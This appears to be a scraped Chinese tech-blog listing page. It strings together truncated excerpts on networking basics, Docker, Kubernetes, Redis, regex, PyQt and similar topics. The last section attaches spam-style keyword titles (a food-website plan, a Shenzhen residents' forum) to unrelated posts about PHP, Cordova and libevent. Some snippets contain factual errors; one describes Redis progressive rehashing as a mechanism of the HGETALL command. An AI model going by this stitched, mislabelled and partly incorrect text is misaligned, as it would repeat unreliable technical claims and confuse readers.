【计算机网络一】网络学习前置知识

目录 网络中必备概念 1.什么是局域网与广域网&#xff1f; 2.什么是IP地址 3.什么是端口号 4.什么是协议 5.OSI七层模型 6.TCP/IP四层模型 网络中必备概念 本篇文章旨在分享一些计算机网络中的常见概念&#xff0c;对于初学者或者准备学习计算机网络的人会有帮助。 1.什么…...

nuScenes数据集使用的相机的外参和内参

因为需要用不同数据集测试对比效果&#xff0c;而一般的模型代码里实现的检测结果可视化都是使用open3d的Visualizer在点云上画的3d框&#xff0c;展示出来的可视化效果很差&#xff0c;可能是偷懒&#xff0c;没有实现将检测结果投影到各相机的图像上&#xff0c;所以检测效果…...

数据结构与算法:贪心算法与应用场景

目录 11.1 贪心算法的原理 11.2 经典贪心问题 11.3 贪心算法在图中的应用 11.4 贪心算法的优化与扩展 总结 数据结构与算法&#xff1a;贪心算法与应用场景 贪心算法是一种通过选择当前最佳解来构造整体最优解的算法策略。贪心算法在很多实际问题中都取得了良好的效果&am…...

音频编解码器音频文件格式

0 Preface/Foreword 1 音频编解码器 算法压缩越高&#xff0c;那么音频延迟越大&#xff0c;音频效果越好。 1.1 SBC SBC: sub-band coding&#xff0c;自带编码 A2DP强制规定使用的audio编解码器。 在音视频中&#xff0c;为了增加用户体验&#xff0c;规避视频和音频的不…...

FreeSWITCH JSON API

仅举几例&#xff1a; fs_cli -x json {"command" : "status", "data" : ""} fs_cli -x json {"command" : "sofia.status", "data" : ""} fs_cli -x json {"command" : "…...

学习docker第三弹------Docker镜像以及推送拉取镜像到阿里云公有仓库和私有仓库

docker目录 1 Docker镜像dockers镜像的进一步理解 2 Docker镜像commit操作实例案例内容是ubuntu安装vim 3 将本地镜像推送至阿里云4 将阿里云镜像下载到本地仓库5 后记 1 Docker镜像 镜像&#xff0c;是docker的三件套之一&#xff08;镜像、容器、仓库&#xff09;&#xff0…...

一文掌握Kubernates核心组件,构建智能容器管理集群

1.Kubernates简要概述 Kubernates&#xff08;常称为K8s&#xff0c;因省略了“ubernate”中的8个字符&#xff09;是Google开源的容器编排平台&#xff0c;专为简化和自动化应用服务的部署、扩展和管理而设计。它将应用与底层的服务器抽象开来&#xff0c;提供了自动化的机制…...

正则表达式快速入门

正则表达式是由一系列元字符&#xff08;Meta-characters&#xff09;组成的模式&#xff0c;用于定义搜索或替换文本的规则。元字符具有特殊含义&#xff0c;用于指定搜索模式的结构。以下是一些常用的正则表达式元字符及其功能&#xff1a; 字符匹配符 符号含义.匹配除 \r\…...

【小程序】-基础语法(二)

文章目录 知识回顾前言微信小程序开发一、模板语法2.1 数据绑定2.2 条件渲染2.3 列表渲染三、内置API3.1 网络请求3.2 界面交互3.3 本地存储3.4 API 特征3.5 相册/拍照3.6 小练习四、事件处理4.1 事件对象4.2 组件事件五、生命周期5.1 页面生命周期5.2 应用生命周期知识回顾 前…...

js 填充数组

let arr Array.from({ length: 10 }, (_, index) > index)console.log(arr) 人工智能学习网站 https://chat.xutongbao.top...

AI创作3款软件分享,助力内容创作者高效产出优质作品

为了增加创造力和作品质量&#xff0c;许多创作者开始利用人工智能辅助工具。这些工具不仅可以帮助我们迅速生成各种类型的内容&#xff0c;例如文章、绘画、视频广告等&#xff0c;还提供语法检查和优化建议等实用功能。本文将向大家推荐三款适用于Ai先行者、Tracup、Adoe Fir…...

A survey of loss functions for semantic segmentation——论文笔记

摘要 图像分割一直是一个活跃的研究领域&#xff0c;因为它有着广泛的应用范围&#xff0c;从自动疾病检测到自动驾驶汽车。过去五年中&#xff0c;各种论文提出了用于不同场景&#xff08;如数据偏斜、稀疏分割等&#xff09;的目标损失函数。在本文中&#xff0c;我们总结了…...

docker部署es与kibana Mac

1. 创建网络 神一样的链接&#xff0c;不用谢&#xff1a; 1.Docker命令链接&#xff1a;黑马整理的docker速成链接 2.jdk11链接&#xff1a;jdk11 3.神资源链接&#xff1a;别点&#xff0c;要脸 注意&#xff1a;es需要先安装jdk环境&#xff0c;推荐jdk11&#xff0c;否则…...

redis的渐进式哈希?说一下细节?------面试题分享

渐进式哈希&#xff08;Progressive Hashing&#xff09;是 Redis 中的一种优化机制&#xff0c;用于在执行 HGETALL 命令时逐步读取哈希表中的所有字段。这种机制避免了一次性加载大量数据到内存&#xff0c;从而减少了内存消耗和提高系统的响应速度。 渐进式哈希的背景 在 R…...

javaWeb项目-springboot+vue-车辆管理系统功能介绍

本项目源码&#xff08;点击下方链接下载&#xff09;&#xff1a;java-springbootvue车辆管理系统源码(项目源码-说明文档)资源-CSDN文库 项目关键技术 开发工具&#xff1a;IDEA 、Eclipse 编程语言: Java 数据库: MySQL5.7 框架&#xff1a;ssm、Springboot 前端&#xff1…...

redis和memcached的区别

Redis和Memcached都是流行的内存缓存数据库&#xff0c;但它们有一些区别&#xff1a; 数据类型&#xff1a;Redis支持更多的数据类型&#xff0c;包括字符串、哈希、列表、集合和有序集合等&#xff0c;而Memcached只支持简单的键值对。 持久化&#xff1a;Redis支持数据的持…...

构建安全基石:网络安全等级保护定级指南

在数字化时代&#xff0c;网络安全已成为企业与个人不可忽视的重要课题。网络安全等级保护定级指南&#xff0c;作为国家指导网络安全保护的重要文件&#xff0c;为各类机构提供了精准的安全防护蓝图。本文旨在深度解析网络安全等级保护定级指南的精髓&#xff0c;助力建构全面…...

PyQt 入门教程(3)基础知识 | 3.1、使用QtDesigner创建.ui文件

文章目录 一、使用QtDesigner创建.ui文件1、创建.ui文件2、生成.py文件3、使用新生成的.py文件4、编辑新生成的.py文件 一、使用QtDesigner创建.ui文件 1、创建.ui文件 打开PyCharm&#xff0c;使用自定义外部工具QtDesigner创建mydialog.ui文件&#xff0c;如下&#xff1a; …...

解锁金融大门,你的基从备考秘籍全揭秘!

大家好&#xff01;随着金融行业的快速发展&#xff0c;基金从业资格证已经成为越来越多金融从业者的必备证书。为了帮助大家更好地备考&#xff0c;今天我们就来聊聊基金从业资格证&#xff01; 一、考试时间 2024年下半年基金从业资格考试时间为11月9日。准考证打印的时间是…...

详解Linux系统中的设备驱动程序.ko文件

目录 一、主要特点&#xff1a; 二、常见用法&#xff1a; 三、典型应用&#xff1a; 设备驱动程序、文件系统、网络协议、内核安全模块等都可能以 .ko 文件的形式存在。 .ko 文件是 Linux 内核模块的文件扩展名&#xff0c;表示 "kernel object"。这些文…...

MG协议转换器:高效连接,智控未来

在当今自动化和工业4.0浪潮中&#xff0c;设备间的无缝连接和数据高效传输成为提升生产效率、保障系统稳定运行的关键。我们凭借在工业自动化领域的深厚积累与创新精神&#xff0c;推出了MG系列一体式协议转换器&#xff0c;为不同协议总线之间的通讯架起了一座坚实的桥梁。 产…...

pycharm设置自动格式化代码

1.手动格式化代码: 在PyCharm中,您可以使用快捷键Ctrl + Alt + L来格式化当前文件中的代码。此操作将根据PyCharm默认的代码风格规则对代码进行格式化。 您也可以在“File”菜单中选择“Reformat Code”选项来进行格式化。 2.自动格式化代码 2.1 安装File Watchers插件 F…...

美食网站设计规划书/google网址直接打开

php文件名不能中文的解决办法&#xff1a;首先将网页用utf-8编码和保存&#xff1b;然后将fopen里的文件名参数通过iconv函数单独进行编码即可避免中文文件名乱码。推荐&#xff1a;《PHP视频教程》php中fopen不能创建中文文件名文件的问题之前网页的chartset用的是utf-8&#…...

网站中文域名到期有没有影响/郑州seo外包阿亮

前提 Cordova Android 7.0.0开始改变了项目安卓平台的架构。新建一个空项目分别添加Android 6.4.0 和 Android 7.0.0平台: cordova platform add android6.4.0 cordova platform add android7.0.0生成的安卓平台结构分别为&#xff1a; 可以看到Cordova从7.0.0项目结构开始和原…...

wordpress空间服务商/如何进入网站

//下载libevent扩展文件压缩包&#xff08;在当前系统哪个目录下载随意&#xff09; ~# wget http://pecl.php.net/get/libevent-0.1.0.tgz//解压文件 ~# tar -zxvf libevent-0.1.0.tgz//进入源码目录 ~# cd libevent-0.1.0///运行phpize命令&#xff0c;写全phpize的路径 ~# /…...

家在深圳坪山业主论坛/网络seo软件

零、前言 最近几天&#xff0c;真的是和迭代器干上了....... 这篇博客&#xff0c;通过简单实现vector中的迭代器&#xff0c;了解迭代器的机制 一、迭代器的设计思想&#xff1a; 为什么要有迭代器&#xff1f; 答&#xff1a;迭代器模式&#xff08;Iterator &#xff0…...

广告设计公司网/seo软文是什么

Openmeetings 当前作为Apache下的一个项目&#xff0c;基于JAVA开发&#xff0c;主要用于提供视频会议、即时通讯、白板、协作文档等群件工具&#xff0c;通过使用Red 5流媒体服务器处理媒体流。 Openmeetings的主要功能和特性: 音频、视频会议 会议前可选择音频、视频、音…...

帝国网站7.2 pc wap 跳转/百度指数大数据分享平台

你是否想知道企业大规模系统是如何设计的? 在软件开发开始之前&#xff0c;我们必须选择一个合适的架构&#xff0c;能提供所需的功能和质量特性。因此&#xff0c;在将架构应用到我们的设计之前&#xff0c;我们应该了解各种不同架构的特点。 01、什么是架构模式 根据维基百…...